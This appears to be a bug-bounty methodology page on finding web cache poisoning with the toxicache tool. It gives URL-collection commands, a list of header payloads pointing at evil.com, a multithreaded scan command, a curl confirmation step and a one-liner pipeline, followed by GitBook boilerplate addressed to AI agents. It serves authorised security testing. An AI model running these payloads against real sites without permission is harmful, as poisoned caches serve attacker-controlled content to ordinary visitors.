> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/bug-bounty-methodology/cachepoison.md).

# cachepoison

### 🔥 Fastest Automation Method (toxicache)

#### 📂 Input Required

* `urls.txt` → **ONLY cacheable GET endpoints**
* `headers.txt` → cache-poisoning payloads

***

### ⚡ Step 1: Collect cacheable URLs (FAST)

```bash
gau target.com | grep -E "\.(js|css|png|jpg|json)$|/$" | sort -u > urls.txt
```

(Optional – filter live only)

```bash
httpx -silent -mc 200 -l urls.txt > live.txt
```

***

### ⚡ Step 2: Create header payload file

```bash
cat > headers.txt <<EOF
X-Forwarded-Host: evil.com
X-Host: evil.com
X-Original-URL: /evil
X-Rewrite-URL: /evil
Forwarded: host=evil.com
EOF
```

***

### ⚡ Step 3: Run toxicache (MULTI-THREAD)

```bash
toxicache scan \
  -i live.txt \
  -H headers.txt \
  -c 50 \
  -timeout 5 \
  -o toxicache_results.txt
```

💥 This tests **unkeyed headers + cache storage behavior** in parallel.

***

### 🧠 Why this is FAST

* Go-based concurrency
* Header-only poisoning (low noise)
* No parameter fuzzing
* Direct cache hit comparison

***

### 🎯 What to Look For

Valid hits usually show:

* Cached response contains **evil.com**
* Poison persists across requests
* Affects anonymous users

***

### ⚠️ Speed Tips (Pro)

* Test **root paths first**: `/`, `/index`
* Focus on **static assets**
* Avoid authenticated URLs initially
* Increase threads only after testing

***

### 🧪 Manual Confirm (1 Request)

```bash
curl -H "X-Forwarded-Host: evil.com" https://target.com
```

Then reload without header → see if poison persists.

***

### 🔥 One-Liner (Ultra Fast)

```bash
gau target.com | httpx -silent | toxicache scan -c 50
```

use url file not subd file


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/bug-bounty-methodology/cachepoison.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.